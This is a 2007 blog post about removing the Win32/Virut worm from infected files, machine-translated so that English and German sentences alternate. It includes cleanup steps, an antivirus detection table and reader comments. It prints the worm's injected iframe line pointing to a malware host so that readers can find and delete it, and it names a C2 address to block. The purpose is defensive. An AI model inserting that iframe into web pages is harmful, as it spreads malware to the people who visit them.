Fixes for files infected with Win32/virut.Virtob and Variants Fixes für infizierte Dateien mit Win32/virut.Virtob und Varianten

    • Nov Nov
    • 12 12

    Fixes for files infected with Win32/virut.Virtob and Variants Fixes für infizierte Dateien mit Win32/virut.Virtob und Varianten

    Posted by Nick B 10 months, 3 weeks ago . Geschrieben von Nick B 10 Monate, 3 Wochen.

    Filed under Windows & Worm . Gespeichert unter Windows & Worm.

    Activity Monitor-Virus Symbole I found this frustrating that most Anti-virus product will deleted or quarantine your infected files. Ich fand dieses frustrierend, dass die meisten Anti-Virus-Produkt wird gelöscht oder unter Quarantäne Ihre infizierten Dateien. I lost many projects because of this worms. Ich habe viele Projekte, weil dieser Würmer.

    Don’t used “auto-clean/fix” online scanner if you favors your projects. Nicht verwendet "auto-clean/fix" Online-Scanner, wenn Sie Ihre Projekte begünstigt. Belows is step by steps fixes for win32/Virut. Unten ist Schritt für Schritte Fixes für win32/Virut. If you dont like manual editing you’ll need a search and replace tools for removing the embed code inside the infected files. Wenn Sie nicht wie manuelle Bearbeitung benötigen Sie einen Such-und Ersetzen-Tools zum Entfernen des embed-Code innerhalb der infizierten Dateien.

    1. Make sure all of the infected (*.exe win32/virtob) files has been quarantine. Stellen Sie sicher, dass alle der infizierten (win32/virtob *. exe-Dateien) wurde Quarantäne.
    2. Optionally block outbound access to 78.109.19.139:80 & irc port 65520 in your firewall settings. Optional Block Outbound-Zugang zu 78.109.19.139:80 & IRC-Port 65520 in Ihrer Firewall-Einstellungen.
    3. Disabled AntiVirus if any. Behindertengerechte AntiVirus falls vorhanden.
    4. Shutdown your PC and start windows on SafeMode (Press F8 or F5 after BIOS screen). Herunterfahren Ihrem PC ein und starten Sie Windows auf SafeMode (Drücken Sie F8 oder F5 nach BIOS-Bildschirm).
    5. Search all files with *.htm, *.html, *.php, *.asp extensions. Suche in allen Dateien mit *. htm, *. html, *. php, *. asp-Erweiterungen.
      delete or replace the following text (strings) Löschen oder ersetzen Sie den folgenden Text (Zeichenketten) 

       <iframe src="http://ntkrnlpa.info/cr/?i=1" height="1" width="1"></iframe> <iframe src="http://ntkrnlpa.info/cr/?i=1" height="1" width="1"> </ iframe>

    Search and Replace Tools Suchen und Ersetzen-Tools

    • For windows - there is lots of similar tools and I’m not sure which one to recommend as it seem most did the same thing so Google for “search-and-replace” pick your best. Für Windows - gibt es viele ähnliche Instrumente, und ich bin nicht sicher sind, welche ein zu empfehlen, da es offenbar die meisten haben die gleiche Sache so auf Google nach "Such-und-Ersetzen" Wähle deine besten.
    • For Cygwin or *nix bash console - Used sed commands to search & replace strings in all infected files. Für Cygwin oder * nix-bash-Konsole - Gebraucht sed Kommandos Suchen & Ersetzen-Strings in allen infizierten Dateien.
    • Python in windows - You can try this solutions . Python in Fenster - Sie können versuchen, diese Lösungen.

    Win32/Virut Virustotal.com Results Win32/Virut Virustotal.com Ergebnisse

    Antivirus Version Last Update Letztes Update Result Ergebnis
    AhnLab-V3 AHNLAB-V3 2007.11.12.0 2007.11.12 - --
    AntiVir 7.6.0.34 2007.11.12 W32/Virut.AF
    Authentium 4.93.8 2007.11.10 - --
    Avast 4.7.1074.0 2007.11.11 Win32:Virtob Win32: Virtob
    AVG 7.5.0.503 2007.11.11 Win32/Virut
    BitDefender 7.2 7/2 2007.11.12 Win32.Virtob.6.Gen
    CAT-QuickHeal 9.00 9,00 2007.11.12 W32.Virut.K
    ClamAV 0.91.2 2007.11.12 W32.Virut-5
    DrWeb 4.44.0.09170 2007.11.12 Win32.Virut.19
    eSafe ESAFE 7.0.15.0 2007.11.08 - --
    eTrust-Vet eTrust-VET 31.2.5289 2007.11.12 Win32/Virut.6375
    Ewido 4.0 4,0 2007.11.12 - --
    FileAdvisor 1 2007.11.12 - --
    Fortinet 3.11.0.0 2007.10.19 W32/Virut.AE
    F-Prot 4.4.2.54 2007.11.10 W32/Injector.A.gen!Eldorado W32/Injector.A.gen! Eldorado
    F-Secure 6.70.13030.0 2007.11.12 Virus.Win32.Virut.ab
    Ikarus T3.1.1.12 2007.11.12 Win32.Virtob.AS
    Kaspersky 7.0.0.125 2007.11.12 Virus.Win32.Virut.ab
    McAfee 5160 2007.11.09 W32/Virut.g
    Microsoft 1.3007 1,3007 2007.11.12 Virus:Win32/Virut.Q Name: Win32/Virut.Q
    NOD32v2 2653 2007.11.12 - --
    Norman 5.80.02 2007.11.09 W32/Virut.W
    Panda 9.0.0.4 2007.11.11 W32/Virutas.W
    Prevx1 V2 2007.11.12 - --
    Rising 20.18.02.00 2007.11.12 Win32.Virut.z
    Sophos 4.23.0 2007.11.12 W32/Vetor-G
    Sunbelt 2.2.907.0 2007.11.09 VIPRE.Suspicious
    Symantec 10 2007.11.12 W32.Virut.W
    TheHacker 6.2.9.124 2007.11.12 W32/Virut.gen
    VBA32 3.12.2.4 2007.11.11 - --
    VirusBuster 4.3.26:9 2007.11.11 Win32.Virut.Gen.4
    Webwasher-Gateway 6.0.1 2007.11.12 Win32.Virut.AF

    Notes on Microsoft Windows Malicious Software Removal Tool Hinweise zu Microsoft Windows Tool zum Entfernen bösartiger Software

    Update On: Nov,20 2007 by NoahArk Update On: Nov, 20 2007 durch NoahArk
    I have Win.32/virut files in my archive (for backup purpose). Ich habe Win.32/virut Dateien in meinem Archiv (für Backup-Zwecke). Last week I installed Microsoft Windows Malicious Software Removal tool v1.35 (Nov 13, 2007, KB890830). Letzte Woche habe ich installiert Microsoft Windows-Tool zum Entfernen bösartiger Software v1.35 (Nov 13, 2007, 890830).

    Microsoft-Tool zum Entfernen bösartiger Software Microsoft’s claimed this tool can fixes w32/Virut . Microsoft behauptet, kann dieses Tool behebt w32/Virut. But the results is much worsed than I expected. Aber das Ergebnis ist viel worsed als ich erwartet hatte. It doesn’t detect Win32/Virut on my windows XP SP2 instead halfway before the scan complete its trigger the worm and starts spreading as Win32/virtob & Virut[AW] (infecting *.exe & *.html). Es wird nicht erkennen Win32/Virut auf meinem Windows XP SP2 statt halber Strecke vor dem Scan seine Auslöser der Wurm und beginnt Verbreitung als Win32/virtob & Virut [AW] (infizieren *. exe & *. html). I’d removed all Microsoft Removal tools (MS Malicious Software Removal tool, MS Defender,MS Baseline Security Analyzer). Ich hätte entfernt alle Microsoft-Tools zum Entfernen (MS Tool zum Entfernen bösartiger Software, Verteidiger MS, MS Baseline Security Analyzer). Microsoft Developer should have know better on how to prevent most of these type infections.Its their own design flaw and products. Microsoft Developer sollten besser wissen, wie um zu verhindern, dass die meisten dieser Art infections.Its ihre eigenen Fehler und Design-Produkte.

    I still keep the infected Win32/Virut files, if anyone need it please send an email to Ich bin nach wie vor halten die infizierten Dateien Win32/Virut, wenn jemand es brauchen, schicken Sie bitte eine E-Mail an nhnoah email . My request to Microsoft Team, they should clean this crapy worms so all those unfortunate client’s (including me) wont have to hunt down on pricey antivirus solutions. Meine Bitte an Microsoft Team, sie sollten sauber diesem crapy Würmer so dass alle diese unglücklichen Kunden (einschließlich mir) gewohnt haben, um jagen zu teuer Antivirus-Lösungen.

    W32/Virut and ntkrnlpa.info W32/Virut und ntkrnlpa.info

    The worms started spreading since September 2006 . Die Verbreitung von Würmern begann seit September 2006. After one year anniversay It still in the wild like it will never stop. Nach einem Jahr anniversay es noch in freier Wildbahn, wie es wird nie aufhören.

    I’d send a letter to ntkrnlpa.info ISP (hosting.ua), and they have closed down the sites for good. Ich würde ein Schreiben an ntkrnlpa.info ISP (hosting.ua), und sie haben geschlossen Festlegung der Standorte für gut. And also google is blocking the site too it will give you a warning notice if search for the particular url. Und auch Google blockiert die Website zu geben, es wird Ihnen eine Abmahnung, wenn die Suche nach bestimmten URL.

    This worm spread via simple html tags and increased the filesize around 8kb. Dieser Wurm verbreitet über einfache HTML-Tags und erhöht die Dateigröße um 8kb. Because of this simple method and low damage most Anti-Virus and security vendor label it as medium and low. Aufgrund dieser einfachen Methode und niedrige Schaden meisten Anti-Viren-und Sicherheits-Anbieter Etikett es als mittel-und niedrig. The thread label is debatable. Der Thread Etikett ist fraglich.

    Based on wikipedia “Usage share of Web Browser Statistics” , 81% of Internet users is using Microsoft Internet Explorer (50% of this weblog visitors is on IE too ), IE browser doesn’t blocked IFRAME that can be a problem. Auf der Grundlage von Wikipedia "Usage Anteil der Web-Browser-Statistik", 81% der Internet-Nutzer ist mit Microsoft Internet Explorer (50% der Besucher dieses Weblog ist auf IE zu), IE-Browser nicht blockiert IFRAME, dass kann ein Problem sein.

    Imagine if some webmaster uploaded an infected files on heavy traffic websites like myspace and facebook. Stellen Sie sich einige Webmaster hochgeladen einem infizierten Dateien auf stark befahrenen Webseiten wie MySpace und Facebook. The results could be disaster. Die Ergebnisse werden könnte Katastrophe. Nobody want to see its happening. Niemand möchte, dass seine passiert.

    Related Entries Verwandte Einträge

    About the Author Über den Autor

     

    Tags: Tags:
    • November 12, 2007 at 12:35 pm November 12, 2007 at 12:35
    • February 8, 2008 at 10:58 am 8. Februar 2008 an 10:58
    • 0.3 0,3
    • url

    • 2 Responses to “ Fixes for files infected with Win32/virut.Virtob and Variants ” 2 Responses to "Fixes für infizierte Dateien mit Win32/virut.Virtob und Varianten"

      Trackback URL: Trackback URL: Use the TrackBack url ↑ to ping this article. Verwenden Sie die TrackBack-URL ↑ ping zu diesem Artikel. If your blog does not support Trackbacks you might want to leave a comment instead. Wenn Ihr Blog unterstützt keine Trackbacks, sollten Sie vielleicht einen Kommentar hinterlassen statt.
          • Feb Feb
          • 05 05
          • http://www.gravatar.com/avatar/f99366a8d8e8dc45dea20f78d9ea10fe?s=58&d=http://42.kaizeku.com/wp-content/themes/wp-istalker-pb/images/gravatar.png&r=G http://www.gravatar.com/avatar/f99366a8d8e8dc45dea20f78d9ea10fe?s=58&d=http://42.kaizeku.com/wp-content/themes/wp-istalker-pb/images/gravatar.png&r=G
        • RE: Fixes for files infected with Win32/virut.Virtob and Variants RE: Korrigiert für infizierte Dateien mit Win32/virut.Virtob und Varianten
          Fixes for files infected with Win32/virut.Virtob and Variants Bernd P 8 months ago 3 url · microId Fixes für infizierte Dateien mit Win32/virut.Virtob und Varianten Bernd P 8 Monaten 3 url microId

          The problem in prevention of viruses like the Virut types is that they change the "bothosts" as well as the as the encryption with every new variant coming out. Das Problem bei der Prävention von Viren wie die Virut Arten ist, dass sie die "bothosts" sowie die als die Verschlüsselung mit jeder neuen Variante aus. A possible good solution to prevent your machine from making unauthorized unwanted connects by any unknown process or program is to have eg a ZoneAlarm firewall installed (which allows precisely blocking of eg STMP for specified programs - the default is 'blocked' - , specified port blocking (eg IRC ), preventing and denying any unsolicited inbound traffic, as well as the adaptive IDENT port hiding,(means this is a true stealth firewall).and specified security behavior concerning internet, intranet, local, safe zones, as well as a 5-step safety profile to set for specified programs). Eine mögliche gute Lösung um zu verhindern, dass Ihre Maschine aus der unbefugten unerwünschte Verbindung von einem unbekannten Prozess oder Programm besteht darin, dass z. B. eine ZoneAlarm Firewall installiert (die den genau Sperrung von z. B. STMP für spezielle Program - der Standard ist "blockiert" -, bestimmten Port-Sperren (zB IRC), die Verhütung und leugnen jede unerbetene eingehenden Datenverkehr, als auch die adaptive IDENT-Port zu verstecken, (bedeutet, das ist eine echte Stealth-Firewall). angegebenen Sicherheit und Verhalten in Bezug auf Internet, Intranet, lokalen, sicheren Zonen, sowie eine 5-Schritt Sicherheits-Profil, um für spezielle Program).

          Additionally the user is informed about every network action and access attempts - ingoing as well outgoing - with source, Zusätzlich wird der Benutzer über jede Netzwerk-Aktion und den Zugang Versuche - ein-und ausgehende - mit Quelle,
          target, port and the program or process name which initiates the connection. Ziel-, Hafen-und das Programm oder Prozess Namen, die die Verbindung initiiert. Preventing spam-bot behavior means : only allow 'your' known Mail programs to send mails. Verhinderung von Spam-Bots Verhalten bedeutet: nur "Ihre" bekannten E-Mail-Programmen E-Mails zu senden. NEVER store ANY PASSWORDS on the machine or in the mail program! Speichern niemals Passwörter auf JEDER der Maschine oder in der E-Mail-Programm! Set ' SMTP action' to 'password required' even if your SMTP provider doesn't need (if so this means anonymous SMTP is allowed, then you Stellen Sie "SMTP-Aktion 'auf' Passwort erforderlich ', selbst wenn Ihr SMTP-Provider muss nicht (wenn ja, bedeutet dies, anonyme SMTP-gestattet ist, dann
          have a BAD ISP which is really inviting spambots to spread their notorious garbage all around the world!). haben eine schlechte Internet-Anbieter, die wirklich einladend Spambots zur Verbreitung ihrer berüchtigten Müll auf der ganzen Welt!).



          Essential Safety-rules are still ignored by the ISP in such cases. Grundlegende Sicherheits-Vorschriften sind nach wie vor ignoriert von den Internet Service Provider in solchen Fällen. By the same way, the customers of such ISP are the victims of these. Mit dem gleichen Weg, die Kunden von solchen ISP sind die Opfer dieser. Go looking for another ISP if possible. Gehen Sie suchen nach einem anderen ISP, wenn möglich. All other programs should be blocked for SMTP (and IRC) protocols as well. Alle anderen Programmen blockiert werden, sollten für SMTP (und IRC) Protokolle als gut. That is essential in those days to keep an infected machine quiet towards the internet even if it is eventually infected by some weird worm, or botclient software. Das ist wichtig, in diesen Tagen, um eine infizierte Maschine ruhig auf die Internet-auch wenn es letztlich infiziert von einigen seltsamen Wurm, oder botclient Software. (Then your PC is called 'stoned' or how it is also said by the security people, a so-called 'Zombie'). (Dann wird Ihr PC wird als "stoned" oder, wie es ist auch gesagt, die Sicherheit von Menschen, eine so genannte "Zombie"). Never allow HTTP or any other outgoing requests for other programs aside of your known browser, media-players or Niemals zulassen HTTP oder jede andere ausgehende Ersuchen um anderen Programmen abgesehen von Ihrem Browser bekannt, Medien-Player oder
          file transfer, mail and chat programs. File-Transfer, E-Mail-und Chat-Programmen. Be aware that especially 'Adware','Nag-Ware' and 'Spy-ware'-charged programs are always trying to 'phone home'! Seien Sie sich bewusst, dass vor allem 'Adware', 'Nag-Ware "und" Spy-ware'-Programmen geladen werden immer versuchen, "Telefon privat'!



          Same does Malware which attempts to reach or at least listens to their 'master hosts', (of course allow such for the safety facilities on your system to update themselves by their known code hosts). Gleiche tut Malware, die versucht zu erreichen oder zumindest hört auf ihre "Master-Hosts", (natürlich zulassen, dass solche für die Sicherheit von Einrichtungen auf Ihrem System zu aktualisieren, indem sie ihre bekannten Code-Hosts). Using a host list which redirects therein contained servers to nowhere (means the localhost) is also a good hint. Mit einer Host-Liste, die redirects dort enthaltenen Server zu nirgendwo (bedeutet die localhost) ist auch ein guter Tipp. This file is also protected from being tampered with (unauthorized deletions or additions by any software or website scripts) by third party software (ie ZoneAlarm, McAffee, Nod32). Diese Datei wird auch gegen manipuliert (unbefugte Löschungen oder Ergänzungen durch eine Software oder Website-Skripten) von Software von Drittanbietern (zB ZoneAlarm, McAffee, NOD32).

          • (cc) 2008 Bernd P. (cc) 2008 Bernd S.
          • Ie-6 on Win98 · #1 IE-6 auf Win98 # 1
          • May Mai
          • 06 06
          • http://www.gravatar.com/avatar/ced02c315e8f5a22e4599edf97f3839c?s=58&d=http://42.kaizeku.com/wp-content/themes/wp-istalker-pb/images/gravatar.png&r=G http://www.gravatar.com/avatar/ced02c315e8f5a22e4599edf97f3839c?s=58&d=http://42.kaizeku.com/wp-content/themes/wp-istalker-pb/images/gravatar.png&r=G
        • RE: Fixes for files infected with Win32/virut.Virtob and Variants RE: Korrigiert für infizierte Dateien mit Win32/virut.Virtob und Varianten
          Fixes for files infected with Win32/virut.Virtob and Variants zyro 5 months ago 3 url · microId Fixes für infizierte Dateien mit Win32/virut.Virtob und Varianten zyro 5 Monaten 3 url microId

          hi there Hi there
          can u please email me these files I just wanna use them for learning purpose u können Sie mir diese E-Mail-Dateien, die ich einfach nur möchte, dass sie für das Lernen Zweck

          THANKS BUDDY DANKE BUDDY

          • (cc) 2008 zyro. (cc) 2008 zyro.
          • Ie-7 on Winvista · #2 IE-7 auf Winvista # 2

    RSS feed for comments in this post RSS-Feed für Kommentare in diesem Post

    "write as if you were talking to a good friend (in front of your mother)." "schreiben, als ob Sie sich unterhielten, ein guter Freund (vor Ihrer Mutter)."

    .have your say . Was meinen Sie dazu?

    Disclaimer: For any content that you post, you hereby grant to Kakkoi the royalty-free, irrevocable, perpetual, exclusive and fully sublicensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, perform and display such content in whole or in part, world-wide and to incorporate it in other works, in any form, media or technology now known or later developed. Some rights reserved. Disclaimer: Für alle Inhalte, die Sie nach, Sie hiermit zu gewähren Kakkoi die gebührenfreie, unwiderrufliche, unbefristete, exklusive und vollständig sublizenzierbare Lizenz zu nutzen, zu reproduzieren, zu modifizieren, zu adaptieren, zu veröffentlichen, zu übersetzen, abgeleitete Arbeiten erstellen, verteilen, Durchführung und Anzeige solcher Inhalte im Ganzen oder in Teilen, weltweit und, um es in andere Werke, in jeglicher Form, Medien oder Technologie jetzt bekannt ist oder später entwickelt. Einige Rechte vorbehalten.

MySQL query error MySQL Query Fehler